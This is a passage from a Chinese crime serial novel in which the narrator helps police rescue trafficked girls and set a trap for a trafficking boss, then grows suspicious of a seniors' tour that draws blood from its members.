“我是干什么的不重要，今天这事儿我一定要管到底。”我严肃的回。 钱天宝的眼睛里闪烁着凶光，恶狠狠的说：“你管？你以为你是谁啊？来，我看看你要怎么管，来吧！”话音刚落，手里多出一把弹簧刀。 “不许动！”林翔在钱天宝身后，顶住他的后腰。 钱天宝立刻紧张的抬起手，“你是、你是谁呀？” “他管不了，我肯定能管了，我是警察！”林翔有力的回。 钱天宝蔫了，慢悠悠的举起了手。 我们两个制住钱天宝，基本没费任何力气，钱天宝被林翔用手铐铐在室内。 我们趁着等警察过来的当口，开始解救铁笼里的几个孩子，解绳子、胶带，从铁笼里拉出来，我们把全部的注意力都集中在解救孩子上，忽略了钱天宝是不是还有同伙。 “叔叔，小心身后！”我正在给解绳子的女孩提醒我。 我感觉耳旁有风声传过来，我猛一低头，躲过，老林也发现了，他赶忙朝我身后看。 我躲过后，也回头看，是孙进！ 这钱天宝还有同伙！孙进一看我们发现了他，摆开跟我们作战的架势。 “向荣，我对付他，你把孩子们都安顿好。”林翔说完直接就去跟孙进搏斗起来。 孙进的优势竟然也是在于矮小精悍，很容易就闪掉林翔的进攻，拉开门就向外面跑去。 林翔也紧跟着追了出去，钱天宝看到孙进失败，眼睛里闪过失望。 “钱天宝，你这是带着你的贼窝过来应聘的吗？你的同伙还有谁？”我愤怒的问。 钱天宝鄙夷的瞅瞅我，一声不吭，那架势好像做错事的是我。 “你得意不了多久了，警察马上就过来，到时候就算你不招供，这里的人我们也是一个不留！”我心想，宁可我在这盯着，也不能容许有贼在。 四个女孩都被解救之后，我一个个的询问，果然其中一个就是龙江苑附近丢失的那名高中女生。 她跟我说那天她也是下晚自习回家，因为学校距离家不远，那天她出了校门没看到来接她的爸爸，就想着自己快点走几步也就到家了，让爸妈都歇歇。 可没等到园区附近呢，一辆面包车就停到她前面。 车门拉开、跳出来个男人，抱起她就顺到车里，这一套动作下来特别快，等她反应过来，人都在车里了。 她吓坏了，开始喊叫反抗，要求下车，但是那个男的直接就给了她两个耳光，她就什么都不知道了。 再醒来的时候，是在一个地下室里，身边还有几个孩子，再后来，他们把男孩和女孩分开，她被运送到了这里。 林翔扭送着孙进出现在门口的时候，钱天宝蔫了，这时候警车的声音也传进来。 我看看林翔，我们两个对视一笑，这一次我们又抢在了坏人前面。 “老林，这里恐怕还有同伙，他们能把人运送进来，没有里应外合，很难实现。但是我刚才问钱天宝，他不说。” “我也是这么考虑的，他现在不说没关系，会有地方让他说！” 警车带着我们和四个受害女孩离开花园城的时候，我在心里默默的念叨，“师哥，你到底在哪里呢？为什么每个有受害者的地方都有你的记号？难道说每次转移受害者你都参与了？” 第二百零三章 来接头的人 我们成功解救了关在花园城地下的几个女孩以后，我跟刘国锋联系，跟他讲了一下事情的大致经过。 “刘哥，这几天我就驻扎在花园城，你尽快招人，那边审讯结果还没出，但是谨慎起见，还是全换新人对以后的工作更有帮助。”我建议。 “向荣啊，你隐瞒的可真好啊！你昨天上午其实就是想去探路的是吗？”刘国锋感慨。 “还真不是，我也没想到那里会是罪犯的窝点。保险起见，咱们必须得换血啊！” “行，听你的，我确实也不放心。没想到钱天宝敢在背地里干这么大事儿，要不是及时发现，还真容易助纣为虐。只是要辛苦你一段时间了，我今天就跟小杨老板汇报。”刘国锋回。 “好，那我先不和你多说了，等林翔这边有了结果，需要你帮助的话，我再联系你。” 结束了跟刘国锋的通话后，我收拾好东西，只等林翔的审讯结束。 等待的时间里，目睹了两家认领孩子的场面，孩子父母看到自己女儿的那一刻全都激动不已，声泪俱下。 尤其是孩子见到自己的亲人之后，痛哭流涕，无助又委屈的大哭。 好在是团圆结局，但是留在心理上的阴影，恐怕要很久以后才能治愈，这人贩子是太造孽了！ “向荣，有新情况，你来一下！”林翔喊我。 我赶紧进了审讯室里面的办公室。 屋里除了林翔还有两个警察，大家都神色凝重，我充满疑惑的看向林翔，“怎么了？” “据钱天宝交代，今晚上就是明叔到花园城领硬货的时间，现在窝点已经让我端了。”林翔说。 我也一愣，确实啊，没有了人、没有了团伙，这个交易做不成，大鱼没法上钩。 “我们想让你假扮钱天宝，我们守在暗处，只要明叔出现一接头，就把他拿下。”林翔说出他们商议好的决定。 “没问题啊，这事我太能办了！”我很兴奋。 林翔无奈的笑了，跟另外两个警察说：“我这兄弟正义感太强，一遇到帮警察办案的事就特别积极。” 其他两个人也笑着看我。 “向荣，千万别掉以轻心，我们对明叔的了解并不是很多，今晚的假扮会很危险！”林翔提醒我。 “我懂，这种事哪有不危险的，但是不是还有你们吗？你们不是都在暗中保护吗？你们在我没啥可怕的，我自己也会点手脚功夫。”我回。 林翔好像知道我会这么说，跟另外两个人摊摊手说：“干吧，别浪费时间了。” “好，吕向荣，我给你讲讲部署计划。”其中一个警察招呼我。 我跟着听了整个行动计划，还有目前一些情况的介绍，如果能抓到明叔，救出冯晶晶，师哥也可以回家跟我开医馆了。 “向荣，明叔并不认识钱天宝，他们一直是通过一个中间人接头，所以，晚上如果中间人不出现或者不指认，你就可以随便演，如果中间人发现了，那我们就马上行动。” “好，老林，详细情况我记下了！”我回。 “那就行动吧，你跟另一辆车去花园城，我们随后就到，届时我把位置告诉你。你也要把那边的总控室看好。”林翔说。 我点点头，跟林翔开始分头行动。 钱天宝不认识明叔，明叔也没见过钱天宝，靠着中间人对接，这个中间人是明叔那边的人，晚上中间人会不陪同明叔过来吗？ 一路上我的脑子里都是各种问题，对即将到来的行动摩拳擦掌。 我最希望解救出来的，还是师哥王敬之，哪怕能亲自再见他一面，知道他一切都好，也算是了却了我的一桩心病。 到了花园城以后，还要暂时避免钱天宝被带走的消息扩散，只能通过刘国锋的远程电话，告知今天当值的保安，工作先跟我汇报。 当值的保安还跟我反应，上一个班的保安孙进不知所踪，今天他到岗后都没有人跟他做过交接。 我安抚好他，然后跟他布置了今天的工作重点，守在总控室，发现异常手台跟我汇报。 林翔说，晚上来接头的人会直接进入地下停车场，他们的车和人都有出入这里的门牌。 也就是说，我只要等在地下仓库就可以了，他们也不会给我打电话。 但是晚上具体几点到、几个人，这些都不得而知，警察审问的时候，钱天宝也不知道。 钱天宝说，明叔是东南亚那边比较有名的以贩卖人口为生的人贩子，到他手里的人，只要是健康的，就都有用，就没有能跑出去的。 他会根据贩来的人的情况来使自己的利益最大化。 我感叹着落入他手里的冯晶晶，不知道她现在怎么样了？人是不是还安全？ 在心里再一次责骂了许德生一千一万遍，跟他是亲戚，也真的是倒了八辈子霉。 晚上八点前，林翔他们也全都到了，各就各位，他们的车和人都散落在花园城的地下停车场内。 一切准备就绪，就等明叔入瓮。 可是时间一个小时、一个小时的过去，什么异常的动静都不见有，我们所有的人都等待的鸦雀无声，一定也都很疲惫。 我坐在那个泵房里面的小屋里，手里把玩着签字笔，还在一遍遍的思考，见面第一句话应该说什么。 这样持续到了夜里11点后，接近午夜12点的时候，我昏昏欲睡，却听到停车场里响起不大不小的汽车引擎声音。 有车进来了？ 睡意全无，我侧耳听着，汽车声停止之后，好像有脚步声一声紧似一声的朝我这里走来。 是接头的来了吗？ 我扶了扶放在桌子边的扳子，如果一言不合，好用这个接招。 果然的，敲门声响起，声音不大不小，不轻不重，但是一声紧似一声。 我刚想问问是谁，不对，老林说什么都不用我做，也就是说人贩子那边有进来的钥匙。 于是我放弃蠢蠢欲动的回应，专等看看他下一步。 “在等明叔吗？他的货呢？”一个声音在我身后响起。 不对啊，这声音怎么这么熟悉？难道是？ 我立刻站起身回头看去，巨大的惊喜和激动充斥着我，什么话都说不出来。 第二百零四章 坐地起价 “师哥！真的是你！你可想死我了！”我朝着面带微笑的王敬之快步走去，给了他一个熊抱。 “哎！吕向荣，是不是时间长了不见、又短打了，撒手、你给我撒手，勒死我了！”王敬之亲切的对话模式一开启，我觉得浑身舒坦。 “师哥，你不够意思！”我气哼哼的看着他。 “我怎么不够意思了？”王敬之基本没怎么变，唯一不同的是那柔软的小卷毛变成了板寸。 “你做这么大的动作，为什么事先不告诉我？趁着我睡着了你就跑了，你知不知道我多担心！”我抱怨，述说着我一直想和他说的话。 “告诉你？就你那秉性，我还能干到现在这个阶层吗？怎么去救晶晶？”王敬之对我的抱怨嗤之以鼻。 “这么说，你现在是安全的？而且还没找到冯晶晶的下落？”我着急的问。 “晶晶找到了，但是，她不太好，她在被明叔带走的途中，找机会跑了一次，被抓回去以后就精神失常了，她现在谁也不认识了......所以我不能走，我得陪着她。”王敬之低落的说。 “什么？”这信息量太大，我脑袋嗡嗡的，“你陪着她？你现在干的事情是违法的你知不知道？你疯了吗？”我气坏了。 “你别喊，你看你，就你这臭毛病，总爱急眼，也不听我说完话！怎么你师哥在你心里边道德水准就那么低吗？我跟我师父发誓，我可一丁点儿违法的事情都没干过，那是伤天害理，我可害怕。”王敬之赶紧保证。 “那你今天来这里做啥的？还有你留的那些记号，每一处都有受害人，怎么都有你？你给我解释清楚！”我逼问王敬之。 这时候外面有人走进来的声音，王敬之立刻给我使眼色，“货呢？” 随着他的喊声增大，跟进来一个人，我一看这个人我也认识，就是刘国锋面馆打电话那个南方人。 “衰仔，怎么搞这么久？货丢了？”他说话还是那个叽哩哇啦的呱噪劲儿，一张嘴就露出上嘴唇都搂不住的门牙。 “货没丢，这两天这边风声紧，有两个硬货都被警察劫走了，我把这几个转移到其它地方了，你们谁是明叔？”我灵机一动，一条妙计涌上心头。 大门牙一听，面目表情相当平静，我就知道我说的他全知道了，都在他的掌握中，也多亏我如此机智。 “我就是明叔，带我们去取货，快点！”面目表情平静，语言却很急躁凶狠。 王敬之盯着我的眼神，我也跟他一扫而过，他选择沉默。 “你是明叔？骗我？我可跟你说，现在风声紧得很，不是明叔，我肯定不交货，这要是被抓到，那可是要判个几十年的，老子没工夫跟你们玩猜闷儿，搁哪来回哪去，滚蛋！”我也狠狠的来了一句，反正货在我手里，我怕谁！ 大门牙没想到我这么硬，一时语塞，因为确实，他并不是明叔。 他给王敬之递眼色，让王敬之搞定我。 王敬之想了想，走过来拍拍我的肩膀，“钱经理，我们就是明叔派来的，钱都带来了，一手交钱一手交货，你怕什么？” 大门牙赶忙跟腔，“对，一手交钱一手交货，你不就是要钱嘛！” 我的脑袋也飞速旋转，该如何引出明叔，然后一网打尽呢？怎么办呢？ 我偷眼看看王敬之，示意他如何是好？ 王敬之用只有我俩懂的手势抬了抬手，表面看是看看手表显示的时间，实际含义是“加钱”。 “现在风声这么紧，原来的数不行了，必须加钱！”我秒懂。 “加钱？你他 娘的！”大门牙气的要冲过来动手。 “你要动手？哥正好手痒痒了，好久没有陪练了，来吧，我陪你玩玩！”我确实想揍他，揍死他个人贩子！ 王敬之及时拽住，“瓜哥，大局为重，你还是给明叔打个电话汇报一下吧。” 大门牙气急败坏的拉开门就出去打电话了。 屋里又剩下我和王敬之，我赶紧把要说的话说出来，我怕现在不说又说不上了。 “师哥，我和林翔的目的，勾出明叔，一网打尽！你要协助我们，里应外合，懂了吗？咱们不能只为了一个女人活着，你想想你当初拜师的时候，是怎么和我姥爷说的？你是怎么保证的？我不管你用什么方式，给我把冯晶晶带出来，别在贼窝里陪着她！否则，别怪做师弟的跟你翻脸！”我是真的生气了。 我心中的王敬之，是个幽默诙谐、正义感满满、有着满身医术绝技的汉子，绝对不是只会为了儿女情长就放弃一切的痴男。 我也绝对不容许他走上那样 的路，如果那样，做梦的时候我都怕梦到我姥爷，怕他责罚我没有看好王敬之。 王敬之被我说的动容了，刚要说话，大门牙又推门进来，他只好跟我轻轻点了点头，我知道他同意了里应外合。 “衰仔，走吧，明叔说他亲自来办。”然后他又用手点点我说：“真有你的，明叔说了，明晚还是这个时间，还是这个地点，他亲自过来验货，若货真，每个人头增加一万，若还是像今天这样，你也不要再想要走出去了。” 说完就跟王敬之一前一后出了泵房，剩下我站在当场继续凌乱。 师哥又走了？又是好多话没有说完，又是这样走了。 我还纠结在情绪里的时候，林翔走进来喊我，“向荣，想什么呐？手台里喊你半天了！快走！” “哦，好！”我抓起外套，跟着林翔跑了出去。 到了警车里，我把刚才跟王敬之和大门牙之间的对话和盘托出，并介绍了明叔的次日之约。 “是敬之来接头的？他说他现在知道冯晶晶的位置？”林翔也很激动。 “对，而且他答应了我会跟我们里应外合，抓住明叔后，带着冯晶晶回来。” “太好了！有敬之在那边配合，我们的行动成功率更高了。明天明叔一定会来吗？”林翔又问。 “应该不会差，是大门牙亲自出去打电话确认的。但是因为我今天坐地起价，明叔应该是有气的，不知道明天会不会出幺蛾子，还有四个硬货我们也拿不出来了，怎么办？” 另外几个警察说：“你放心，这个我们来办，一定万无一失。不过，明天你的处境更危险了。” 几个警察和林翔都担忧的看着我，我明白他们说的危险并不是危言耸听，因为我今天的行为确实犯了大忌。 “没关系，有我师哥在，绝对不会有事！老林，我有一事相求。”我恳切的看着林翔。 “你希望我明天保护王敬之的安全，你放心，我不但要保护他，也会保护你，你们俩都是我的兄弟！” 第二百零五章 飞进窗户的手机 林翔的话给了我莫大的鼓舞，“老林，明天只要明叔交易就可以给他按下吗？他犯罪的证据还需要我帮忙收集吗？”我问。 “许德生供述了很多关于明叔的罪恶勾当，当初是有一个u盘的，里面装载的就是他们的犯罪证据，只要能拿回那个u盘，证据链就完整了。”林翔回。 u盘？当初是让王敬之拿走了，明天我找时机跟王敬之要u盘。 “好，那就等明天行动了！”我说。 当晚林翔的队伍都撤了之后，我依旧留在花园城，一切安全，瓜哥那边没有任何报复举动，也没有电话打过来。 我好好的睡了一觉，养精蓄锐，准备迎接新一轮的战斗。 第二天下午林翔早早就到了，还带来四个很年轻的女警，“向荣，她们是警校的学生，晚上假扮硬货，帮你顶一顶。” 我一看几个人虽然年轻，但是眼神里都有警察的睿智和临危不乱，肯定不会比我差。 “行，不过老林，得和同志们说好，务必保护好自己的人身安全。我的身手恐怕还没她们几个好，她们一看就练过，嘿嘿嘿。”我憨憨的笑起来。 “哈哈哈，你也有不自信的时候啊，你就放心吧，她们不光是比你好，比我也好着呢！不用你保护，你不用人家保护就不错啦！”林翔跟我开玩笑。 “对了，从昨晚到现在，明叔那边有什么动静吗？”林翔问。 “还真没有，我也以为会不会有什么动向或者改变什么的，但是没有，很安静。很安静的话就等着呗，看看晚上他们是不是会如约出现。”我回。 但是说完我马上就意识到了问题，“不对啊，老林，如果他们不来，我们这次的行动不就失败了？还是没有抓住明叔的机会啊！” “你问的问题我一直在思考，其实我们很被动，只能等着他来，伺机下手，如果他不来，我们就没有plan B。”林翔很无奈的表态。 “所以这样被动不行，必须抢占先机，而且不能再无限期的等下去，要迅速的按住他。”我发表想法。 “说得容易，谁不想啊，可是要怎么做呢？” “昨天来的瓜哥，你们可以去调查啊，说不定可以有什么新线索呢？”我建议。 “去查了，还没有什么消息。别想太多了，他们应该会来，既然出洞了一次，哪有空手而回的道理！”林翔说。 晚上的蹲守布控八点多就布置完毕，几个警校学员跟我一起待在泵房里。 我跟她们说好，一旦有动静，就蒙上头套，到墙角坐着。 等待是最折磨人的，尤其是心里面有很大的期待，在等待的时间里一遍一遍的去琢磨细节、哪里容易有疏漏，会导致失败的时候。 我到最后想的都快发狂了，我最希望的当然是今天就拿下明叔，然后带着王敬之回去s市，自然的，最好王敬之也带着冯晶晶。 可是，这一条恐怕才是最难的，这个冯晶晶现在谁也不认识，她能不能被王敬之轻易带走，恐怕都是个问题。 时间在胡思乱想中一分一秒的过去，已经接近11点了，为什么还没有人出现？而且是一点动静都没有。 难道真的像我和林翔猜测的那样，明叔放弃了？不来了？ 这可是一下子四个硬货啊，他能那么轻易的放弃吗？ 正想着，听见了隐隐约约的声音，这声音是什么呢？肯定不是汽车声，也不像是谁走过来，是什么呢？ 我又聚精会神、仔细的听了听，是跑的！是有人跑过来了！ 我赶紧示意几个学生假扮好，我也深呼吸几次，等着那人进门。 “啪！”窗户被硬物砸中的碎裂声，然后被打碎的玻璃稀里哗啦的掉了一地，给我吓了一跳，我歪过身，飞进窗子的硬东西掉到地上。 突如其来的变故，给几个女学生也吓了一跳，玻璃窗整个被打碎了一大块，飞进来的东西是一个塑料袋子包裹的硬物，像是石头。 我走过去捡起来，不像是石头啊，这时候里面包着的东西响起来，是手机！ 我赶紧用手台通知林翔，让他们去堵住扔东西进来的人，“明叔没出现，老林，抓住那个送信的！” 迅速拆开包裹，那手机响铃就没停过，好像知道我需要拆开的时间。 等我看到电话的时候，提示是一个视频电话，我赶紧接起来。 是一个很暗的空间，有三个人正在打一个被吊起来的人，用棍棒、用椅子，那个被吊起来的人被打得浑身伤痕，低着头，但是还是可以看到头上有血，他一声不吭。 我的心一阵狂跳，睁大 眼睛仔细的去看被吊起来的人，这是、是王敬之！ “你们是谁？要干什么？”我大喊起来，极力控制住差一点冲口而出的那句“师哥”。 对面没人说话，我一分钟都不忍再看下去，直接挂断电话。 这时候林翔也回来了，“老林，我师哥他是暴露了吗？我看到他们把他吊起来打，他会死吗？我要去救他！我必须马上去！这个手机的位置你们能查到的是吧，快！查一下，我再不去救王敬之，他会死的！” 我语无伦次的央求着林翔，林翔着急的对我说：“向荣，冷静点，你冷静一点，你好好想想他们为什么要给你送来手机、让你看到这个，为什么？” 林翔的话点醒了我，我自觉有点失控，在心里努力安抚自己平静下来、不要冲动。 情绪平复以后，我看向林翔，“老林，怎么办？” “你放心，已经开始在监测位置了。我们现在要做的是思考一下为什么，他们为什么给你送来这个？难道说是昨晚你和王敬之的对话暴露了他的身份吗？”林翔问。 我又从头过了一遍整个经过，“不应该呀，一开始的时候我根本就不知道接头人是王敬之，我们俩前后聊了不到三句话，瓜哥进来前我们早就准备上了。后来瓜哥出去打电话，这屋里也不可能有监听啊，不能，绝对不可能是我们的关系暴露了。”我笃定。 “如果不是关系暴露了，他们还把这个电话给了你，让你看这个，那就只有一个可能。” “是什么？” “惩罚。让你看到这件事没办得力的惩罚，你昨天坐地起价，也有王敬之选人不力的责任，明叔这是在惩罚他，也是给你一个下马威，如果我猜的没错，他很快会用这部电话跟你联系，确定新的接头时间。” 第二百零六章 奇怪的包裹 “你的意思是我们现在只能等他们联系我们？”我问林翔。 “除了等，警察也在紧锣密鼓的监测方位，他们留下的线索也不少，昨天来送信的人很快可以抓到。向荣，别急，要相信警察！而且我认为他们只是让敬之受一点皮肉之苦，不会害他性命的。”林翔回。 “为什么这么确定？”我最关心的就是王敬之的人身安危。 “因为没必要。你一个外人，因为这件事情让你看到另一个人被打，或者被害，有什么益处？他们给你看的目的就只有一个，就是吓唬你，让你听话，给你警告。” 我仔细分析着林翔的话，确实，他说的有道理，就是这么回事。 “可是，又过去这么久了，这手机就没再响过了，他们怎么还不联系我？”我还是无法安静。 林翔不再解释，用手拍拍我的肩膀，示意我安静，稍安勿躁。 一连三天都没有任何动静，刘国锋还特意到花园城来陪着我，白天的时候我用工作来充实自己，配合刘国锋紧锣密鼓的安排着招聘工作，晚上林翔陪着我，我的空虚随时都可以把自己淹没。 我很担心王敬之，脑海里不断回放的都是王敬之被吊起来打的画面。 可是这些人为什么没有任何动静了呢？他们到底要搞什么？ 又等了三天，整整一周的时间过去，还是杳无音信，我几近疯掉了。 “老林，花园城的招聘工作基本接近尾声，王敬之那边还是没消息，我不行了，我待不住！我要去找他。”我在房间里来回踱着步子。 “那天送信的人抓到了，经核实他就是一个小混混，收了钱，来办了事，至于更深层次的秘密他都不知道，连明叔是谁他都不认得。位置倒是监测出了一点眉目，他们应该没想过你会报警。”林翔说。 “位置在哪？”我着急的问。 “不在这里，在s市。” “什么？他们跑我们老巢去了？”我惊呼。 “也不是没有可能，明叔在s市的业务是最大的，这也是许德生能勾搭上他的原因。所以我想，我们这两天就回s市。你这边的工作都完成了吗？”林翔问我。 “工作已经完成了，可是老林，他们没让我离开啊，如果我走了，他们反倒通知我接头，弄硬货了怎么办？”我着急的问。 “他们不会了，你那个手机已经停机了。” “什么？”我赶紧拿出那部手机试了一下，果然的，提示用户已停机，说明它的任务已经完成，被弃掉了。 我颓然的坐到椅子里，突然想到，“老林，那是不是也有可能，王敬之已经被带回了s市？” “有极大可能！所以我的意见我们明天就回去。在s市对我们更有利，队伍都是自己的，办事的效率更高。”林翔说。 “好，我跟你一起回去。”提到回去，我在心里想了一下，自己这趟出来已经接近一个月，也不知道爸妈和姐姐怎么样了，心里也开始归心似箭。 当晚在电话里辞别了刘国锋，第二天便和林翔坐上回去的火车。 此次特派员行动也算全部告一段落，回去以后写好报告，就可以跟老板交差。 回家的路程异常顺利，林翔这一趟疲惫不堪，坐在我身边很快就进入了梦乡。 火车到站我俩道别的时候商量好，先各自回去休整，然后再联系商议接下来的动作。 可是我刚到家，就收到一个快递包裹，写明了是吕向荣收。 可是因为我好久没跟家人见到面，也就没着急拆快递。 爸妈和姐姐看到我回来了，开心的不行，妈妈还张罗着让姐姐去买些我爱吃的菜，她要亲自下厨。 我好久没看到老爸，他除了更加的瘦削，倒是没有其它变化，还是继续喝着我给开的汤药。 一直到了吃完晚饭，爸妈和姐姐休息了，我才想起那个包裹。 拿过来开始拆封，里三层外三层，包了好多防磕碰的东西，到底是什么呢？ 终于拆到最后，是一个小纸盒，里面装了东西，等我把纸盒也剪开，赫然看到，里面装的是王 敬之的黄金罗盘。 这个罗盘我见过，也把玩过，我认得它，绝对是王敬之哪一个没差。 纸盒最下边还有一张字条：一切安好，勿念，我很快会联系你！ 是王敬之的笔迹！ 连日来的担忧在看到这几个字以后全部烟消云散，我开心的手舞足蹈，师哥没事，林翔说得对，他们只是想吓唬我。 我开心的在房间里踱着步子，小心翼翼的收好黄金罗盘，等王敬之回来，再物归原主。 不过话说回来，他可真能折腾，这趟出去不但找回了黄金罗盘，还找到了冯晶晶，真不愧是我师哥，不达目的不罢休型选手。 特派员报告写好以后，我跟老袁汇报工作。 “袁总，西区和南区我都去完了，报告发到了你邮箱，你帮我看看还有哪里需要完善的，等你觉得没问题了，我再发给老板。” “向荣，你去南区见到小杨老板没有？” “没见着，据说他没在那边，我赶得不巧。而且在那边，我卷进了一个人口失踪案里面，确实也分身乏术，没跟他电话请安。” “人口失踪案？你没事吧？你是物业经理，怎么老去帮警察办案子呢！”袁振文担忧的感慨。 “我也不想啊，事发在刘国锋的辖区，我如果不管，他对我的态度后来不会改观的。” “你是说刘国锋后来对你的态度改变了？如果是这样，那就没问题了。”老袁开心的说。 “怎么说？” “刘国锋属于是小杨老板的追随者，发生过的事情他会一字不落的汇报的，他要是对你改观了，一定会替你说好话。”袁振文分析的头头是道。 “袁总，我师哥失踪了，还没有找到，最近工作上难免分心，我能不能请几天假？”我不想利用工作时间帮林翔抓明叔。 “哦？还没有找到人是吗？你别急，有警察介入，找到人是迟早的事。给你十天假，你好好歇歇吧，上班以后，老板应该是对你有新安排。” “新安排？什么新安排？”我惊奇的问。 第二百零七章 老年团 “暂时我也不知道，昨天跟几个高层陪同老板吃饭，他对你的表现赞不绝口，流露出让你负责一个区域有点屈才的想法。”袁振文说。 “袁总，我就觉得我像现在这样挺好，能够在我爸还在的时间里，多陪陪他和我妈。老板要是有什么高难的任务，您可得帮我顶下，我现在经历了这次人口失踪案件，确实疲惫了很多，我也想踏踏实实的待着，这样就很好了。”我如实述说着自己心态上的变化。 “向荣，看来啊，你真的需要休假，好好歇歇，等你满血复活了，我们再研究吧。”袁振文不打算再继续跟我辩论，结束了跟我的通话。 难得可以连续休息十天，而且王敬之的安全也已经确定，可以真正安心的歇歇了。 我妈听说我要休假，给我姐放了假，让我姐回去看看姐夫，我姐欣然应允。 临行前，我姐对我一顿嘱咐，这个在哪、那个在哪，爸妈的衣服多久一洗，平时吃东西注意什么，就差让我用本子记下来了。 “姐，你回去几天就回来呗，我们一家还没在一起多待几天，你就回去了。你把我外甥接过来，这里也不是住不下。”我劝我姐早点回来。 “你姐夫一个人在家待了一个多月了，早就不是很高兴，想让我回去，我要是还不回去，你姐夫能上这找我来。不是姐催你，你是不是也该找个女人、成个家了，爸妈也有个人照应着。你和敬之，你们两个都不给老人省心。”我姐数落我。 “嘿嘿嘿，姐啊，谁让你弟弟不够优秀呢，没人看得上我啊！”我开着玩笑。 “瞎说！谁能比我弟弟心眼好使啊！她们都没福气，看不到我弟弟的好。你记得跟敬之说啊，让他没事就回来，别总在外面跑。最近这边坏人可多了！专门挑青壮年下手。” “什么？下什么手啊？姐。”我很惊奇。 “你没听一楼李大妈说吗？跟这隔三条街的那个小区，失踪了一个大小伙子，说啥都找不着了，就是下楼倒个垃圾就没了。”我姐回。 “姐，你亲眼看到了吗？没亲眼看到可不能乱说，不能以讹传讹啊！”我赶紧阻止。 我姐有点理亏，她确实只是听说传言，但是还是不太服气的说：“无风不起浪，还是有什么事情，要不咋不传别的呢！你赶快告诉敬之回来就对了！” “好！你的话我一定带到。你自己回去，路上也要小心啊！”我姐把我那根敏感的神经又带动起来。 “哎呀我你就放心吧，我一个人来来回回的多少次了，这条路我太熟了！”我姐不耐烦的回我。 “行，早点休息吧姐，明天我送你到车站。” “对了，明天爸和妈要去参加老年团，妈非要你作陪，给你也报名了。” “什么？啥老年团？干啥的？”我有点懵，我妈这是要做什么，还一定要带着我！ “说是带老年人免费洗温泉，还有免费餐，体检什么的，具体你去问妈吧。” “还有这好事儿？她和我爸是老年人，免费了，能给我免费吗？我妈也真是，咋不和我说一声就给我报名了，我还想好好歇歇呢！”我嘟囔着。 “你去妈身边嘟囔试试。”我姐看着我偷偷笑。 我跟她做了个鬼脸，回了自己房间。 妈既然给报了名，做儿子的就尽尽孝道好了，只要她和我爸开心就行。 第二天本来想睡个懒觉，但是我姐的车是早车，我爸妈的老年团，出发时间也蛮早的。 我背着爸妈的洗漱用品还有吃的，跟着我爸妈上了老年团的车。 “哎，哎，你是哪的？这是老年团！”一个咋咋呼呼的声音传过来。 “小马啊，他是我儿子，我不是跟你说了吗？我带我儿子一起去，钱都给你交了。”我妈在我后面给解释。 我一听这咋呼的声音就挺反感的，还让老太太这么敬虔的跟着说话，立刻就不太爽。 下意识的扭头看了看这个叫小马的，这个人瘦的啊，就跟个线黄瓜一样，头发长的能扎小辫子了，贼眉鼠眼，嘴巴很大，怪不得这么能咋呼。 “阿姨，您是说您带儿子，可您没说您儿子这么大了啊，我还以为谁家家属跟着来蹭吃喝的呢！”这马说话是一点也不避讳啊，想啥说啥！ “那哪能呢，再说，我不是给你交了一个人的份子钱了吗？”我妈还在解释。 我看不过去了，把我爸妈安顿到座位上，然后问那匹马，“爷们儿，我去的钱够不够？要是不够，我再给你加点。我爸妈岁数大了，让他们坐着跟您解释。” 那马一听就知道我不太乐意，一听要加钱，眉开眼笑了，“哥，现在不用，等到了地方的，需要的话我再和你说。” 我妈一听还要加钱，有点着急，“马啊，咱们不是说好的，一个人就是80吗，咋还加钱呢？” “阿姨，我不是跟你说了嘛，没想到你儿子这么大了还要跟着去啊。也不一定会加，你也不要着急。”那马在我的横眉立目下，耐心的做了解释。 一直到出发前，都没再找我们麻烦。 我仔细观察了一下老年团的人，一辆大巴坐满了，这些老人的年纪都在60岁以上。 几乎每个人都挺开心的，许是因为去玩、还免费的原因，每个人都兴高采烈的，大包小包的拿着吃的。 只有我们家，有孩子陪着，其他家都是只有老人。 带队的除了这个小马，还有开车的司机，不知道为什么，我看着这两个人不像规规矩矩做事的。 他们给团里的每个人都发了一个手牌，手牌上有你的名字，出生年月日，还有血型。 “妈，他们怎么知道的这么详细呢？之前问过你们？”我看着牌子上的信息更加的纳闷，不知道这老年团搞什么鬼。 “对，就是报名的时候，就让我们把这些都填好了。” “妈，你们怎么知道有这么个团的？在哪报的名？”我更加好奇。 “就是在菜市场买菜的时候，那个小马给我发的传单，跟我和你爸说怎么怎么好，然后就报名了。” “妈，那你为啥要把我也带着？” “你爸说让你跟着一起散散心，说你工作太累了，让你也洗洗温泉，我们给你出钱，带儿子旅旅游。” 我妈说这话的时候，我爸坐在旁边笑眯眯的看着我。 我瞬间沦陷，我爸妈还把我当小孩子一样养着，看来此行他们已经期待了好几天。 第二百零八章 抽血 旅行的目的地是省内的一处山城，是S市周边的一个县，开车要两个小时左右的路程。 路上我怕我爸坐车累，跟我妈换了座位，让我爸躺在我的腿上。 马领队过来走过几次，刚开始看到的时候想说什么，但是一看我五大三粗的样子，动动嘴，没出声。 车程不短，走了一个小时左右的时候，车里的大爷大娘都不再亢奋，有很多已经开始眯觉了。 我也半闭着眼睛，睡不着，总觉得有事会发生。 这时候从眼睛缝里看到马领队悄咪咪的拿着什么卡片，在一个个的核对人头。 奇怪的是他的核对是跳着核，而且只对我们车里年轻人感兴趣，其他人他连正眼都没看过。 我不禁又想起了南区的人口失踪案，还有我姐说的隔壁小区人丢了的事情。 不管怎么说，保持警觉是绝对没错的。 颠颠簸簸的到了地方，住在一个偏远山区的疗养院，院子后边有一个小型的温泉。 我们的行程是两天，入住当天有一顿免费晚餐，可以泡温泉，第二天是要进山，进山后说是有很多山景，午餐是免费的，纯绿色山货食材。 第三天是山顶有个什么庙，参观游玩，然后坐缆车下来。 我问我妈，“妈，你和我爸这腿脚，怎么上山啊？” “我和你爸商量好了，我俩此行就是想泡泡温泉，上山你就自己去就行了，我们在疗养院等你。”我妈回。 “啊？你们不去啊？领队同意了吗？”我问。 “同意，之前都说好的，其他那些老人应该也是不去爬山的。”我妈说。 这时候，马领队在车前招呼：“现在开始抽血哈，每人一管，体检用的。大家准备好就可以了，我们一排座位、一排座位的抽。” 我看着他们也没采取严格的消毒措施，就开始从前往后的抽血，那个司机时不时的从照后镜里看一眼。 我的位置距离照后镜不远，看到司机的眼神特别的真切，这眼神，怎么跟回迁楼那个矮子一模一样？ 我已经开始对这个组织产生了强烈的好奇，所以对他们的安排也都秉着了解再多一点的态度，积极的去抽了血。 我看着抽完血的那些试管，问马领队，“咱们这个血样都检查那些问题呀？” 马领队被我问住了，想了想说：“全身检查。” “全身？就这一管血，查全身？”我很纳闷了。 